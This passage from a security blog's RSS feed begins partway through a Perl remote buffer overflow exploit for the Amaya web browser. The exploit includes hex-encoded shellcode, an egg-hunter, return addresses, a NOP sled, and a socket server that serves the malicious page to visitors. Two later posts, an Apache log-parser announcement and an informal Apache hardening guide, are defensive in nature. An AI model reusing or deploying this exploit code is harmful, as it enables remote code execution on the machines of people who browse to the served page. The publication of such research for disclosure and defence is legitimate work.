<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4a&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>57&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># my own shell hunter.. :) it is 98% alphanumerical.</span>
<span style="color: #666666; font-style: italic;"># 2nd variant of the shellhunter, to make the exploit more reliable..</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellhunter</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>40&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">6</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>     <span style="color: #666666; font-style: italic;">#inc edi</span>
<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>71&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>
<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>76&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">158</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43&quot;</span> x <span style="color: #cc66cc;">430</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow4len</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">977</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#very important calculation</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span> x <span style="color: #0000ff;">$overflow4len</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sled</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">12</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sled2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">24</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$eip2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#10035537 call ecx, this won't be used</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$eip1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#10014F30 call esi, this will be used.</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$heapaddr</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>08<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">#valid char for buffer, heap address</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span> x <span style="color: #cc66cc;">40</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537    look out values &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537                &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537            &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537        &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$additionaddr</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">#used for an addition in the shellhunter  (+2)</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$nopsled</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$jmp</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>0c&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Amaya Web Browser &amp;lt;= 11.0.1 Remote Buffer Overflow Exploit<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Found/Exploit by SkD (skdrat@ hotmail.com)(skd@ abysssec.com)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sock</span><span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">new</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">::</span><span style="color: #006600;">INET</span><span style="color: #009900;">&#40;</span>Listen<span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span>LocalAddr <span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span> <span style="color: #0000ff;">$listenip</span><span style="color: #339933;">,</span>LocalPort<span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span><span style="color: #0000ff;">$port_listen</span><span style="color: #339933;">,</span>Proto<span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span><span style="color: #ff0000;">'tcp'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">die</span> <span style="color: #b1b100;">unless</span> <span style="color: #0000ff;">$sock</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Waiting for clients on port &quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$port_listen</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;..<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$s</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$s</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$sock</span><span style="color: #339933;">-</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span>accept<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Got a client!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$request</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span><span style="color: #0000ff;">$s</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;;</span>
<span style="color: #000066;">print</span> <span style="color: #0000ff;">$s</span> <span style="color: #ff0000;">&quot;HTTP/1.0 200 OK<span style="color: #000099; font-weight: bold;">\n</span>Content-Type: text/html<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Serving Exploit HTML page :)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #0000ff;">$s</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;
<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;
&nbsp;
<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0.5</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">close</span> <span style="color: #0000ff;">$s</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Done!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/12/27/224/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apache log parser script</title>
		<link>http://www.abysssec.com/blog/2008/12/06/apache-log-parser-script/</link>
		<comments>http://www.abysssec.com/blog/2008/12/06/apache-log-parser-script/#comments</comments>
		<pubDate>Sat, 06 Dec 2008 13:12:17 +0000</pubDate>
		<dc:creator>amiri</dc:creator>
				<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=162</guid>
		<description><![CDATA[Hello viewers For long time I was looking for some codes for monitoring APACHE&#8217;s log to detection some attacks and /or some     errors that can help server administrators to have a security solution for web servers. So is so simple to find but its so dirty :d. In  first stage script checks number of [...]]]></description>
			<content:encoded><![CDATA[<p><em>Hello viewers<br />
For long time I was looking for some codes for monitoring APACHE&#8217;s log<br />
to detection some attacks and /or some     errors that can help server administrators to have a security solution for web servers.</em></p>
<p><em>So is so simple to find but its so dirty :d.<br />
In  first stage script checks number of signatures of some of public attacks , you can change or/and edit them. After calculating errors script shows to you alarm or attention or &#8230;. messages and  here you decide  to what to want&#8230;<br />
And at last total summary of logs with details was saved on path&#8230;.<br />
I want to write a better code as soon as possible ;)</em></p>
<p>here is quick log check&#8217;s snapshot</p>
<p><a href="http://i37.tinypic.com/212g26x.png"><img class="alignnone" title="qucik-check" src="http://i37.tinypic.com/212g26x.png" alt="" width="366" height="311" /></a></p>
<p>and check details</p>
<p><a href="http://i37.tinypic.com/2hx4x6p.png"><img class="alignnone" title="full-detailes" src="http://i37.tinypic.com/2hx4x6p.png" alt="" width="333" height="249" /></a></p>
<p>Last code was so slow !! and heavy .Here is fastest than beta-1 code .<br />
I was check a log file ~ 150MB and getting results in 5 min.<br />
It has been fastest as soon as possible ;) thanks.</p>
<p>Download Source code (beta 2 &#8211; cleaned code ! optimized &#8211; ):</p>
<p><a href="http://abysssec.com/files/log-final.txt">download : log parser</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/12/06/apache-log-parser-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is your Apache in safe mode ?</title>
		<link>http://www.abysssec.com/blog/2008/10/09/is-your-apache-in-safe-mode/</link>
		<comments>http://www.abysssec.com/blog/2008/10/09/is-your-apache-in-safe-mode/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 15:56:41 +0000</pubDate>
		<dc:creator>amiri</dc:creator>
				<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://secure-developer.com/blog/?p=13</guid>
		<description><![CDATA[This Post is a bit review to Apache security and not contain all details but i want write all of them. When you decide to build a web server based on Open source Os for all web publishing -public or private- all the futures not needed . But sometimes some of them mus tow change [...]]]></description>
			<content:encoded><![CDATA[<p><em>This Post is a bit review to Apache security and not contain all details but i want write all of them.</em></p>
<p>When you decide to build a web server based on Open source Os for all web publishing  -public or private- all the futures not needed . But sometimes some of them mus tow change carefully. We have to case of Apache using here :</p>
<p>Case 1 : In some cases you need to build a simulated ftp server based on HTTP protocol.</p>
<p>Case 2 : You need to build a MAIL server with HTTP interface. Such as HORD or SQURRIER MAIL.</p>
<p>SO what changes needed ?what kind of futures are usable here for Your jobs ?.</p>
<p>In default installation of Apache -as so useful web server &#8211; in a big range of open source operating systems you may see auto indexing and directory browsing , its good for HTTP server as FTP server but is it usable as HTTP-mail server ? Of curse response  is NO .Why ? Its so simple .In case 1 you just need to give the  permission to your users for reading files and browsing directories JUST!.And denied them to reading or browsing other directories . In case 2 the server design may have a complete configuration with case 1 .Here You must use an interpreter for your scripts and  language .So is your directory browsing options may not denied is it possible ?.In example an attacker can change his directory to upper or can see  most important data such as web server configurations and &#8211; or &#8211; some log files or a high level script kiddie could copy you password to anywhere .Now your web server is really crackable and an attacker can read your configurations and may change THEM !!. What did you do ? its so good question .</p>
<p>1- You can change permission of all unneeded directories to deny for other users and groups like :</p>
<p>&#8220;[root@server] # chmod -R 700 some directory that you want to hidden from other &#8221;</p>
<p>2- Change the permission of your files to only readable for www and not executable &#8211; if you want to use HTML pages &#8211; and for script based pages</p>
<p>do &#8220;[root@server]# 644  *.php or other scripts<br />
3- If your server pages is PHP  you can change a bit the php.ini file</p>
<p>its in my machine :</p>
<blockquote><p><strong>[root@t4yt4n1 /usr/home/t4z3v4r3d]# cat /usr/local/etc/php.ini | grep basedir<br />
; open_basedir, if set, limits all file operations to the defined directory<br />
open_basedir = /usr/local/www<br />
[root@t4yt4n1 /usr/home/t4z3v4r3d]#</strong><br />
open_basedir = /usr/local/www to the your  www directory this is he way of blocking of some php-shell  scripts lik c99.php.</p></blockquote>
<div id="attachment_27" class="wp-caption alignnone" style="width: 310px"><a href="http://secure-developer.com/blog/wp-content/uploads/2008/10/snapshot36.png"><img class="size-medium wp-image-27" title="snapshot36" src="http://secure-developer.com/blog/wp-content/uploads/2008/10/snapshot36-300x225.png" alt="what the php shells cand do ?" width="300" height="225" /></a><p class="wp-caption-text">what the php shells cand do ?</p></div>
<p>Hi this is 2&#8242;nd part of Apache security .<br />
We want to look how to safe all of our scripts when we have some sites.<br />
In share servers &#8211; commercial servers &#8211; we can secure our serer by some applications such as Cpanel Plesk or etc.<br />
But how can we secure it by hand ?.Of curse its not so simple but its not hard to do.<br />
Ok lets to see what we can do ?.Let look to this how to from an attacker.<br />
Any of attacker want to get some information to doing a successful attack to any server.<br />
But what is information exactly ?yes any information its correct !,all information may help the attacker to entering in to your server .<br />
What kind of web server , web server version , Os version and type,mod &#8216;s of your web server is running  , server admin&#8217;s mail , dns-server , and &#8230;. is a good information to starting an attack.</p>
<p>some of the information can&#8217;t be hidden but some of may hidden !!!.<br />
Ok we can change our server&#8217;s operating system name , web server name and type and version by some tools and mods &#8211; soon &#8211; .</p>
<p>All attacks methods are depend  to security of your server .</p>
<p>Ok we have some changes in our apache configuration.<br />
But is it enough?. At the same way :what is the set of security settings for<br />
Apache?.Security is a complex of invisible or bit notes.You can&#8217;t deny web viewers to looking your web contents in a little range of time .-in fact you can&#8217;t tell to users : Do brows my web contents only one time &#8211; but you can denied them to browsing all site in a little range of time  &#8211; or attacking such as directory traversal attacks or denial of service attack &#8211; .This attack can give a large amount of server resources .you can detect this attack and ban the attacker . Apache developed by some modules now, we can select our needed modules for protection.<br />
Modules may be a helpful tools if you have enough information about how to work this module .Apache have 3 release version : 1.3.X and 2.0.X and 2.X all of this versions can using some modules.<br />
For any platforms that you want to work on it may you need to some changes in configurations and giving resources to web server or changing in firewall rules and etc &#8230; . But you are module selector and you are lord of Apache world .Deciding which modules are needed is your job and tuning Apache is your art .<br />
Its end of section one for now because I have no time to continue . i&#8217;ll be back very soon &#8211; iwant build a http server on my bsd box all of notes are really -In the next section we look for details .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/10/09/is-your-apache-in-safe-mode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

